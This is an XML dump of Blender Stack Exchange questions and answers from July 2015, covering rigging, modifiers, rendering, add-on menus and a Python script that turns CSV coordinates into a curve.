  <row Id="34004" PostTypeId="2" ParentId="33999" CreationDate="2015-07-15T08:53:14.320" Score="9" Body="&lt;p&gt;You appear to have a background image which is being displayed under the viewport render. If you disable it in &lt;em&gt;3D view &gt; Properties region&lt;/em&gt; (&lt;kbd&gt;N&lt;/kbd&gt;) &lt;em&gt;&gt; Background Images&lt;/em&gt;, the transparent background is visible once more:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PuuhL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-07-15T08:53:14.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34005" PostTypeId="1" AcceptedAnswerId="34006" CreationDate="2015-07-15T08:59:12.740" Score="0" ViewCount="1993" Body="&lt;p&gt;I've made this model with bones but when i try to animate the model by moving or rotating a bone it disconnects from another. How do i get a bone so when i rotate it its still connected to another bone?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bone before rotation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qCmju.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bone after rotation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XQ4Yq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no idea why this is happening i thought bones were supposed to be connected. I have been researching this problem for hours but this nothing about this, it doesn't look like anyone else has this problem.&lt;/p&gt;&#xA;" OwnerUserId="15666" LastActivityDate="2015-07-15T19:29:17.393" Title="Bones Not Connected?" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2015-07-15T12:58:31.617" ContentLicense="CC BY-SA 3.0" />
  <row Id="34006" PostTypeId="2" ParentId="34005" CreationDate="2015-07-15T09:05:45.040" Score="3" Body="&lt;p&gt;You have to go to edit mode, select the two bones, &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt;&gt; Connected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also when you have added a bone, and then you go to edit mode. Select the tip of the bones and extrude it with &lt;kbd&gt;E&lt;/kbd&gt;, then the bones are automatically parented to each other.&lt;/p&gt;&#xA;" OwnerUserId="8094" LastEditorUserId="241" LastEditDate="2015-07-15T19:29:17.393" LastActivityDate="2015-07-15T19:29:17.393" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34007" PostTypeId="2" ParentId="34002" CreationDate="2015-07-15T09:11:15.270" Score="-2" Body="&lt;p&gt;What I would personally do, is to use the Difference Key or Color Key node with the version with a black background. Both nodes provide the transparent color and b&amp;amp;w matte.&lt;/p&gt;&#xA;" OwnerUserId="15637" LastActivityDate="2015-07-15T09:11:15.270" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34008" PostTypeId="2" ParentId="33986" CreationDate="2015-07-15T09:43:29.503" Score="1" Body="&lt;p&gt;In my opinion, without adding more geometry, the image you included in your question is about the best you're going to get.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Referring to this image,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/B1uCt.jpg&quot; alt=&quot;edges+2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the way I'd change the geometry is to make the loop cut shown by the black line I added within the selected area. Next, I'd delete the face only under the two sets of green edges. I'd select the remaining edge from this face, and subdivide the edge into five segments. Now, I'd move the vertices labeled with a &quot;1&quot;, the end vertices of the loop cut located at the black line, and the two sets of new vertices in the two green lines, and move those to conform to the position of the reference image. Then I'd build new faces in at the end. The three (I know the upper green line might look like only two, but it's three) green edges, plus the existing edge to which they attach at each end are each intended to make a quad, as do the the two approximately parallel edges from each side, the remainder of the original edge, and the original edge parallel to the cut. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get the shading right, you may have to adjust the shading of the new geometry, and you may find additional geometry in this area provides a more satisfactory appearance than the two green-edged quads, but this illustrates the general principle. &lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="3401" LastEditDate="2015-07-15T09:48:39.607" LastActivityDate="2015-07-15T09:48:39.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34009" PostTypeId="1" CreationDate="2015-07-15T10:07:45.360" Score="2" ViewCount="201" Body="&lt;p&gt;I am working on a plugin. Unfortunately my unregister() function attempted to remove the menu function from a wrong menu.&#xA;Now the result is when I load and enable the plugin and open up the menu I see my entry multiple times.&#xA;Here is my register and unregister functions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def register():&#xA;    register_class(TunnelGen)&#xA;    bpy.types.VIEW3D_MT_edit_curve_specials.append(menu_func)&#xA;&#xA;&#xA;def unregister():&#xA;    for i in range(10): # the menu is registered accidentally multiple times&#xA;        bpy.types.VIEW3D_MT_edit_curve_specials.remove(menu_func)&#xA;    unregister_class(TunnelGen)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I fix the menu?&lt;/p&gt;&#xA;" OwnerUserId="15667" LastEditorUserId="29" LastEditDate="2015-07-15T10:53:57.977" LastActivityDate="2015-07-15T10:53:57.977" Title="How to remove menu item which added multiple times" Tags="&lt;python&gt;&lt;add-on&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2015-07-15T12:26:57.657" ContentLicense="CC BY-SA 3.0" />
  <row Id="34010" PostTypeId="2" ParentId="33996" CreationDate="2015-07-15T10:08:20.060" Score="0" Body="&lt;p&gt;This is a common problem with the mirror modifier. Make sure you have &quot;merge&quot; selected in your modifiers settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also adjust the merge limit, to merge vertices more tolerantly&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uQruX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5376" LastActivityDate="2015-07-15T10:08:20.060" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34011" PostTypeId="2" ParentId="33996" CreationDate="2015-07-15T10:11:26.963" Score="1" Body="&lt;p&gt;First I presumed that you did mirroring by negative scale around YZ-plane, then you have flipped normals at second half. But then I noticed modifier, so I was wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I noticed similar result if Subdivision modifier placed higher than Mirror. Also Blender prevents from moving Multiresolution with subdivisions under Mirror, saying &quot;Cannot move beyond non-deforming modifier&quot; or &quot;Cannot move above modifier requiring original data&quot; for moving Mirror up. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it's a way Blender modifiers works with mesh data. I took a peek in official docs and found this: &lt;a href=&quot;https://www.blender.org/manual/modifiers/the_stack.html&quot; rel=&quot;nofollow&quot;&gt;https://www.blender.org/manual/modifiers/the_stack.html&lt;/a&gt; - according to official info modifiers applied in order from highest to lowest. When I tried to apply them in this order, I also get seam in final mesh with both modifiers, but it was just crease in geometry, vertices are wielded, normals are outside, just little wrong geometry. Old edge at section at half-mesh left unsmoothed by modifier, because it processed differently areas where edges belong to just one face.&lt;/p&gt;&#xA;" OwnerUserId="1486" LastActivityDate="2015-07-15T10:11:26.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34012" PostTypeId="1" AcceptedAnswerId="34016" CreationDate="2015-07-15T11:32:53.750" Score="2" ViewCount="715" Body="&lt;p&gt;I am trying to find a way to render only parts of the objects and scene that are visible from another camera. As an example, imagine I have two cameras pointing towards an object, the second making, say, a 45° angle with the first one. I want to render the scene from the first camera, and then render on the second a mask with only points that are visible from the first camera (like a visibility mask). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can do this either using Nodes or Python (or something else). What I can think of now is : &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;something similar to the Node &lt;em&gt;Light Path&lt;/em&gt; output &lt;em&gt;Is Camera Ray&lt;/em&gt;, used as a factor of a &lt;em&gt;Mix Shader&lt;/em&gt; in Cycles. However, I would like to use another camera than the one being used for the render. &lt;/li&gt;&#xA;&lt;li&gt;In Python, I can render a depth map from the second camera, and then for each pixel, use the camera matrix and the depth information to backproject-it to a 3D point, and evaluate the distance of the first camera to that 3D point. If that distance is greater than the depth of the pixel on the first camera, I know that this pixel is occluded. So I would render it on the mask. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is there any simpler way to do so ? Thanks in advance for your time !&lt;/p&gt;&#xA;" OwnerUserId="15363" LastActivityDate="2015-07-15T17:48:56.500" Title="Render points only if visible from another camera" Tags="&lt;python&gt;&lt;rendering&gt;&lt;nodes&gt;&lt;camera&gt;&lt;masking&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34013" PostTypeId="2" ParentId="33695" CreationDate="2015-07-15T12:14:16.100" Score="1" Body="&lt;p&gt;Thank you very much for your comments.&#xA;Later i was solving how to import model by separate floors and it gives me a spoiler to solve this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem causes import options and complicacy of model:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Blender OBJ import options unchecking &lt;code&gt;Smooth Groups&lt;/code&gt; and no &lt;code&gt;Split by&lt;/code&gt; helped (in case of shadows on simple blocks //Groups in SketchUp had one surface identical and Smooth Groups in blender causes this problems).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next - SketchUp allows making very complicated surfaces (many edge lines, only one surface [i used it for floor // it isn't showed in pictures]). But OBJ exporter probably has problem to divide it to triangles. It causes overcasting triangles and same shadows in flat surface. Dividing very complicated surfaces (in Sketchup by line tool) helped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck in rendering ;-)&lt;/p&gt;&#xA;" OwnerUserId="15532" LastActivityDate="2015-07-15T12:14:16.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34015" PostTypeId="2" ParentId="33869" CreationDate="2015-07-15T12:42:28.980" Score="1" Body="&lt;p&gt;After some time i now found the solution.&#xA;The problem was that this code was executed in a &lt;code&gt;Try execept&lt;/code&gt; function. thats why i got no error (my bad). But the actual problem was that the object i was looking for wasn't in the list. this is caused beacause the object was parented to an object on an active layer but the object itself was on an inactive layer. I searched in both lists (scene.objectsInactive and scene.objects) but the object wasn't in any of them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;fazit: you shouldn't parent objects on different layer when one of those layer is Inactive.&lt;/p&gt;&#xA;" OwnerUserId="15497" LastActivityDate="2015-07-15T12:42:28.980" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34016" PostTypeId="2" ParentId="34012" CreationDate="2015-07-15T12:44:27.387" Score="3" Body="&lt;p&gt;All you need - projection mapping. Just put additional UV layer on objects which you want to control, add UV project modifier, and add new logic to material. Second camera projects normalized UV coordinates [0;1][0;1], but we can calculate if some point is outside and apply different material to it. Emissive like on first screenshot, or Transparent like on second one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uvSWU.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KLH3I.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OK, lets get really freaky!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, you have to render Z-channel to some EXR file (or sequence if you have an animation). Then add more to material: drivers to get camera position, math nodes to calculate distance for sampling point, and little more to avoid another reincarnation of z-fighting problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just one fix to previous: that UV projecting produces &quot;square&quot;, so you have to correct aspect (based on projecting camera render), it was 1080/1920=0.5625 to ScaleY.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I love Cycles magic!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TvXnA.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/JDWtC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1486" LastEditorUserId="1486" LastEditDate="2015-07-15T17:48:56.500" LastActivityDate="2015-07-15T17:48:56.500" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="34017" PostTypeId="1" CreationDate="2015-07-15T13:21:22.297" Score="0" ViewCount="6155" Body="&lt;p&gt;I am hoping to create a blender game using procedural generation(to reduce file size). According to what I have read, procedural generation deals with generating models,texture,etc using a procedure/code. Easy by definition, But I have no idea where to start with. All I can guess is that it deals with blender's python scripting.If I am correct, please help me proceed. If not, help me understand the correct way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, Does procedural generation reduce file size tremendously? If so, at what cost?&lt;/p&gt;&#xA;" OwnerUserId="15670" LastActivityDate="2020-12-03T11:47:59.223" Title="Procedural generation in Blender" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34018" PostTypeId="1" AcceptedAnswerId="34024" CreationDate="2015-07-15T13:58:08.813" Score="5" ViewCount="13944" Body="&lt;p&gt;I am a highschool student working at a college's engineering department for the summer. I just began working in blender and have intermediate knowledge of python. Could anyone share a script they've made that can:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Read a text file of xyz coordinates into python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Turn these points into some type of curve or path that an object can then follow to model the path the coordinates map out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like i said i don't have a great understanding of blender but if someone could write or give me a script that is able to do this it would help. Please explain in simple terms also.. Again I am not an expert. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file has three points on each line, separated by commmas, and is pretty large. All the coordinates would need to be floats on account that they are decimals. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-4.934860e-06 , -1.380798e-06 , -1.504166e-05 , &#xA;-1.359547e-05 , -4.301138e-06 , -4.403530e-05 , &#xA;-3.727631e-05 , -1.307421e-05 , -1.287422e-04 , &#xA;-7.177810e-05 , -2.724715e-05 , -2.643154e-04 , &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;here are some of the data points when in the text file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now with the .csv they were put into an excel file &lt;/p&gt;&#xA;&#xA;&lt;p&gt;when copied and pasted they look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-4.93E-06   -1.38E-06   -1.50E-05&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15671" LastEditorUserId="47" LastEditDate="2015-07-15T16:39:05.657" LastActivityDate="2015-08-19T05:58:51.793" Title="python script that reads text file containing coordinates and creates a path/curve for object to follow" Tags="&lt;python&gt;&lt;bezier-curves&gt;&lt;coordinates&gt;&lt;path&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="34020" PostTypeId="2" ParentId="34017" CreationDate="2015-07-15T14:22:31.383" Score="3" Body="&lt;p&gt;Procedural Generation is a &lt;strong&gt;broad area&lt;/strong&gt;. You can use procedural generation to generate terrain, textures, models, growth-behaviour of plants, missions/quests and so on. &#xA;With my restricted knowledge about pg, I think that I can assure you that if you really want to generate everything procedurally it will be a long way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest you read more into procedural generation and determine what you should start first (mesh generation for example?). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a textbook about that topic which gives a good and, what is more important, up-to-date overview. You can find it here &lt;a href=&quot;http://pcgbook.com/&quot; rel=&quot;nofollow&quot;&gt;http://pcgbook.com/&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My experience so far:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use Blender to &lt;em&gt;generate the mesh&lt;/em&gt; of a object. I let blender create basic objects like a sphere or a cube. Then the algorithm manipulates the object (it's vertices, faces, size,...).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried to &lt;em&gt;generate textures&lt;/em&gt; for the object. I used the pillow-library (&lt;a href=&quot;https://github.com/python-pillow/Pillow&quot; rel=&quot;nofollow&quot;&gt;https://github.com/python-pillow/Pillow&lt;/a&gt;) for that. For my project we need about 3 or 4 textures which all have 2K Resolution. I noticed really fast that when I use python-modules, which weren't baked via C++, it gets tremendously slow (Pushing a button and need to wait for 20-30 seconds isn't great for a tool which should be used for game development). So I wrote a C++-Application, which communicates with Blender/Python and does the generation stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And yes, I know that Blender is able to procedurally generate textures with different noises. But we need more control over the generation. And Blender's way wasn't what I wanted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Regarding to your question about the file size:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It depents. If you are using procedural generation to generate the assets in realtime then you will have a reduces file size. Most of the time. But that does also mean that you need to write good (e.g. optimized) code. When for example your shaders are slow your game will be slow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you can also go the way to pre-generate some of your assets and deliver them directly with your game. This can be helpful for computationally intensive calculations or if the 'making it in realtime' is to complicated and the benefit isn't much.&lt;/p&gt;&#xA;" OwnerUserId="13978" LastEditorUserId="13978" LastEditDate="2015-07-15T14:30:00.760" LastActivityDate="2015-07-15T14:30:00.760" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34021" PostTypeId="2" ParentId="33978" CreationDate="2015-07-15T14:25:46.070" Score="3" Body="&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;txt = bpy.data.texts['Text']&#xA;line_begin = txt.current_line_index&#xA;&#xA;#select_end_line_index missing - iterate over txt.lines&#xA;for line_end, line_obj in enumerate(txt.lines):&#xA;    if line_obj == txt.select_end_line:&#xA;        break&#xA;&#xA;selection = [i for i in range(line_begin, line_end + 1)]&#xA;print(selection)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is already a comment function &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/y8lpN.png&quot; alt=&quot;comment function&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2015-07-15T14:36:10.633" LastActivityDate="2015-07-15T14:36:10.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34023" PostTypeId="1" AcceptedAnswerId="34025" CreationDate="2015-07-15T14:43:25.020" Score="12" ViewCount="10864" Body="&lt;p&gt;I am rendering a image in cycles.The question is how to blur background in blender cycles?  &lt;/p&gt;&#xA;" OwnerUserId="15640" LastEditorUserId="5705" LastEditDate="2015-07-15T15:50:27.290" LastActivityDate="2015-09-05T17:36:33.363" Title="How to blur background image.?" Tags="&lt;cycles-render-engine&gt;&lt;blur&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34024" PostTypeId="2" ParentId="34018" CreationDate="2015-07-15T14:55:45.900" Score="7" Body="&lt;p&gt;You can run this code straight from Blender's Text Editor.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You'll see &lt;a href=&quot;https://blender.stackexchange.com/questions/31121/how-can-i-connect-a-set-of-vertices-to-make-a-3d-model-with-a-script&quot;&gt;a lot is the same for creating a simple vertex-edge based mesh&lt;/a&gt;, but this snippet:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;imports x,y,z as a list of coordinates&lt;/li&gt;&#xA;&lt;li&gt;creates a curve object and prepares it to accept the vertex coordinates&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;transforms the list of coordinates to flat list &#xA;this means&lt;br&gt;&#xA;&lt;code&gt;[x1,y1,z1], [x2,y2,z2], [x3,y3,z3]&lt;/code&gt; &#xA;becomes&#xA;&lt;code&gt;[x1,y1,z1,x2,y2,z2,x3,y3,z3]&lt;/code&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;uses 'foreach' to push the flat list of coordinate components onto the &lt;code&gt;.points.co&lt;/code&gt;'s.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import csv&#xA;import os&#xA;import bpy&#xA;&#xA;filename = 'circle.csv'&#xA;directory = '/home/zeffii/Desktop'  # &amp;lt;-- if you have linux or osx&#xA;# directory = r'c:\some\directory'  # &amp;lt;-- if windows, the r is important&#xA;# directory = 'c:/some/directory'  # &amp;lt;-- if windows (alternative)&#xA;&#xA;fullpath = os.path.join(directory, filename)&#xA;&#xA;with open(fullpath, 'r', newline='') as csvfile:&#xA;    ofile = csv.reader(csvfile, delimiter=',')&#xA;    next(ofile) # &amp;lt;-- skip the x,y,z header&#xA;&#xA;    # this makes a generator of the remaining non-empty lines&#xA;    rows = (r for r in ofile if r)&#xA;&#xA;    # this converts the string representation of each line&#xA;    # to an x,y,z list, and stores it in the verts list.&#xA;    verts = [[float(i) for i in r] for r in rows]&#xA;&#xA;if verts:&#xA;    # curve coordinates require a 4th 'W'(weight) component,&#xA;    # the +[0.0] adds that for us&#xA;    out2 = []&#xA;    [out2.extend(list(i)+[0.0]) for i in verts] &#xA;&#xA;    # has one coordinate by default, we add one fewer than we need&#xA;    num_points_to_add = len(verts) - 1&#xA;    curve = bpy.data.curves.new(&quot;path_name&quot;, type='CURVE')&#xA;    polyline = curve.splines.new(type='POLY')&#xA;    polyline.points.add(num_points_to_add)&#xA;    polyline.points.foreach_set('co', out2)&#xA;&#xA;    obj = bpy.data.objects.new(&quot;obj_name&quot;, curve)&#xA;    scene = bpy.context.scene&#xA;    scene.objects.link(obj)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;points to note:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;by all means use your own file-names :) , but as a convention if you are using comma separated values, it helps to use the .csv so you know even without looking at the content of the file, that is stores data that way. Also the first line of the file should describe what each column contains ( see the example curves.csv in the other post)&lt;/li&gt;&#xA;&lt;li&gt;my csv reading code expects the first line to have column information, the line 'next(ofile)` can be commented out if your data starts straight on the first line&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If your csv isn't formatted in a standard way, you can try using &lt;a href=&quot;https://gist.github.com/zeffii/c7f9a44e82357a2168ff&quot; rel=&quot;nofollow noreferrer&quot;&gt;this script&lt;/a&gt; and adjust it to your specifications. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Judging by the coordinates you're importing you might want to scale the input up by 1000 times so the resulting curve/object isn't too small to see without zooming in. If it were up to me i'd change the line where the value is cast to a float and add a scalar multiplication to go from &lt;code&gt;-4.934860e-06&lt;/code&gt; to &lt;code&gt;-0.493486&lt;/code&gt; . If you don't know what the &lt;code&gt;e-06&lt;/code&gt; means it's a scientific notation to quickly show the size of a number without adding 6 zeros between the decimal point and the significant digits.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# (or 100000, or more.. depending on the total object extents)     &#xA;scale = 10000  &#xA;# the r[:3] here means you are only interested in the first 3 values on every line. &#xA;verts = [[float(i)*scale for i in r[:3]] for r in rows]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2015-08-19T05:58:51.793" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34025" PostTypeId="2" ParentId="34023" CreationDate="2015-07-15T15:10:51.333" Score="7" Body="&lt;p&gt;You can use dept of field to blur the background. It is located in the camera properties panel. &lt;img src=&quot;https://i.stack.imgur.com/6PVRb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15598" LastActivityDate="2015-07-15T15:10:51.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34026" PostTypeId="1" CreationDate="2015-07-15T15:46:03.650" Score="0" ViewCount="695" Body="&lt;p&gt;I found some sort of answer to the question here, but did not understand the procedure at all. May be some on can help me understand it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have one mesh with a face of it selected and I want to &quot;glue&quot; that face to a selected face on a different mesh. For example, suppose two cubes are facing each other and I want to glue the faces that are facing each other to one another, or suppose I am modeling a starship. The wings are one mesh, and the body is another mesh. Now I want to connect the body and the wings  permanently at a very specific place on each. I thought to choose the faces on the wing mesh and on the body mesh that should be glued together and then blender glues them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this.&lt;/p&gt;&#xA;" OwnerUserId="15432" LastEditorUserId="3401" LastEditDate="2015-07-15T18:30:30.627" LastActivityDate="2015-07-15T19:48:47.507" Title="How to glue one selected face of a mesh precisely to a selected face on another mesh?" Tags="&lt;faces&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34027" PostTypeId="2" ParentId="34023" CreationDate="2015-07-15T15:50:08.227" Score="9" Body="&lt;p&gt;There are many ways of doing this, here is how I would do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, go to the &lt;em&gt;render layers&lt;/em&gt; tab of the properties view and enable an &lt;em&gt;environment&lt;/em&gt; pass under the &lt;em&gt;passes&lt;/em&gt; rollout.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7Bqy3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then make sure you have checked &lt;em&gt;transparent&lt;/em&gt; under &lt;em&gt;render&lt;/em&gt; properties &gt; &lt;em&gt;film&lt;/em&gt; rollout.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/YjAzM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can blur just the environment pass in the compositor and mix it into the render using a &lt;em&gt;mix node&lt;/em&gt; based on the alpha.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/IoOzZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2015-07-15T15:50:08.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34028" PostTypeId="2" ParentId="14639" CreationDate="2015-07-15T15:51:51.250" Score="1" Body="&lt;p&gt;I'm facing same problem.  I'm using blender for both my 3d scene, and a 2D GUI overlay.  For the solid GUI objects, I can just set the object's depth value, and let the z-buffer sort it out.  However, this trick does not work for semi-transparent objects (alpha-blended), which causes nasty artifacts.&#xA;I found a workaround, but you're not going to like it:&#xA;it is possible to re-order objects in the outliner, but this doesn't help, since they are still exported in alphabetical order.  So the only solution that works for me, is to rename all my objects to the letters of the alphabet, in the order that I want them rendered.&lt;/p&gt;&#xA;" OwnerUserId="15672" LastEditorUserId="3401" LastEditDate="2015-07-15T18:21:13.203" LastActivityDate="2015-07-15T18:21:13.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34029" PostTypeId="1" CreationDate="2015-07-15T16:24:46.690" Score="2" ViewCount="2683" Body="&lt;p&gt;this is the first question that I post here, I want to know how the ambient occlusion bake works due to the work I did on these 2 models &lt;img src=&quot;https://i.gyazo.com/e939d2f6f364a0eb3accd1659852cbf6.png&quot; alt=&quot;high poly&quot;&gt;(high poly is still wip) &lt;img src=&quot;https://i.gyazo.com/f1841354a90ec5faa87af528dede4044.png&quot; alt=&quot;low poly&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and this is the AO bake I managed to make&#xA;&lt;img src=&quot;https://i.gyazo.com/e088653bf950626bbda7a4f4caf7aa88.png&quot; alt=&quot;AO bake&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm a complete noob when it comes to creating textures through bake, how can I avoid all that problems and artifacts in bake? for example the grid in the center has completely black results whereas the middle plate of the grip has a good result&lt;/p&gt;&#xA;" OwnerUserId="15642" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:46.590" LastActivityDate="2015-07-15T23:25:40.567" Title="Ambient occlusion from high to low poly" Tags="&lt;texture-baking&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
